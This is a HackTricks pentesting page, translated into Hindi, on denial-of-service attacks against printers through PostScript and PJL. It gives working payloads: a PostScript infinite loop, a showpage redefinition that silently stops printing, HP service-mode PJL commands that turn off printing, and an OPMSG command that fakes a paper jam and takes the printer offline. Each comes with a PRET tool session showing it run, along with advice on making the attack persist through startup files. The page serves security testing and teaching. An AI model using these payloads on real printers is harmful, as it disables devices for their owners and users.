hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

8.8 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

पेज विवरण भाषाएं जो अनंत लूप या गणना को अनुमति देती हैं जो कंप्यूटिंग समय की बहुत अधिक आवश्यकता होती है। PCL जैसी न्यूनतम भाषाएं भी उपयोग किए जा सकते हैं ताकि उपलब्ध मेमोरी खपत हो जाए तक पर्मानेंट मैक्रो या फोंट अपलोड किए जा सकें।

PostScript

अनंत लूप

%!
{} loop

PRET का उपयोग करके:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

showpage को पुनर्निर्धारित करें

showpage को पुनर्निर्धारित करके - जो हर दस्तावेज़ में पृष्ठ को मुद्रित करने के लिए उपयोग होता है - कुछ भी नहीं करने के लिए, PostScript जॉब्स को प्रोसेस किया जाता है लेकिन वे कुछ भी मुद्रित नहीं करेंगे।

true 0 startjob
/showpage {} def

PRET का उपयोग करके:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

दोनों हमले कोड को Sys/Start, startup.ps या समान फ़ाइलों में लिखा जा सकता है ताकि एक लिखने योग्य डिस्क वाले उपकरणों पर स्थायी DoS को प्राप्त किया जा सके।

PJL

PJL jobmedia

प्रोप्राइटरी PJL कमांड का उपयोग करके पुराने एचपी उपकरणों को जैसे LaserJet 4k श्रृंखला को सेवा मोड में सेट किया जा सकता है और नीचे दिखाए गए तरीके से पूरी तरह से प्रिंटिंग क्षमता को अक्षम किया जा सकता है:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

PRET का उपयोग करके:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

ऑफ़लाइन मोड

इसके अलावा, PJL मानक OPMSG कमांड को परिभाषित करता है जो 'प्रिंटर को एक निर्दिष्ट संदेश प्रदर्शित करने और ऑफ़लाइन होने' के लिए प्रोत्साहित करता है \cite{hp1997pjl}. यह उपयोग करके कागज़ जाम को नकली बनाने के लिए उपयोग किया जा सकता है जैसा कि नीचे दिखाया गया है:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

PRET का उपयोग करके:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

इन हमलों के बारे में और अधिक जानें http://hacking-printers.net/wiki/index.php/Document_processing

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥